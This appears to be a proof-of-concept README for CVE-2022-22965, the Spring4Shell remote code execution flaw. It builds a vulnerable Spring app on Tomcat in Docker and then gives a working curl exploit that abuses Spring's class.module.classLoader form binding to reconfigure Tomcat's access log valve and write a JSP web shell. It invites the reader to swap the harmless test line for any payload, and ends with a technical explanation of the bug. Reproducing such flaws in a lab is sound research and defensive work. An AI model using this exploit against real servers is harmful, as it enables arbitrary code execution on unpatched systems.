CVE-2022-22965 PoC

Minimal example of how to reproduce CVE-2022-22965 Spring RCE.

Run using docker compose

Build the application using Docker compose
```
docker-compose up --build
```
To test the app browse to http://localhost:8080/handling-form-submission-complete/greeting
Run the exploit
```
./exploits/run.sh
```
The exploit is going to create rce.jsp file in webapps/handling-form-submission-complete on the web server.
Use the exploit Browse to http://localhost:8080/handling-form-submission-complete/rce.jsp

Alternative way (debug oriented)

Run the Tomcat server in docker
```
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
```
Add -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" if you want to debug remotely.
Build the project
```
./mvnw install
```

Deploy the app

docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps

Write the exploit

curl -X POST \
  -H "pre:<%" \
  -H "post:;%>" \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
  http://localhost:8888/handling-form-submission-complete/greeting

The exploit is going to create rce.jsp file in webapps/handling-form-submission-complete on the web server.

Use the exploit
```
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
```
Now you'll see 123 in the container's terminal. Replace System.out.println(123) with your payload to execute arbitrary code.

Short technical explanation

Spring knows how to bind form fields to Java object. In our example GreetingController handle POST requests on /greeting endpoint and binds form fields to the Greeting object.
It also supports binding of nested fields (e.g. user.info.firstname). See the AbstractNestablePropertyAccessor for references.
In our example Greeting class has two fields id and content, but actually it also has a reference to the Class object. We can use class.module.classLoader as a form data key to access the classloader.
In the fix we can see that the main change was to restrict access to most of the Class object properties, including the module one.
This behaviour allows us to set public properties of classes accessible via nested reference chain from the Greeting class. Nothing else. In most of the cases it is not even dangerous because no classes with public fields are available even from class.module.classLoader..
It becomes a problem on the Tomcat server because the classloader there has getResources accessor which allows us to continue the reference chain and access one of the instances of the AccessLogValve class.
This class is meant to write logs. We change some properties to make it write files with the name and content of our choice. We have arbitrary file write at this point.
We create jsp file with in the root of the application folder with the malicious payload. As far as jsp are automatically executed by the Tomcat we can navigate to it in the browser and eventually execute the payload. Now it is RCE.

Conditions

The exploit works only on Tomcat because it has special classloader. Although the similar reference chain may exist on other web application servers as well. It is not simply discovered yet.

The exploit requires Java 9 or above because module property was added in Java 9.

References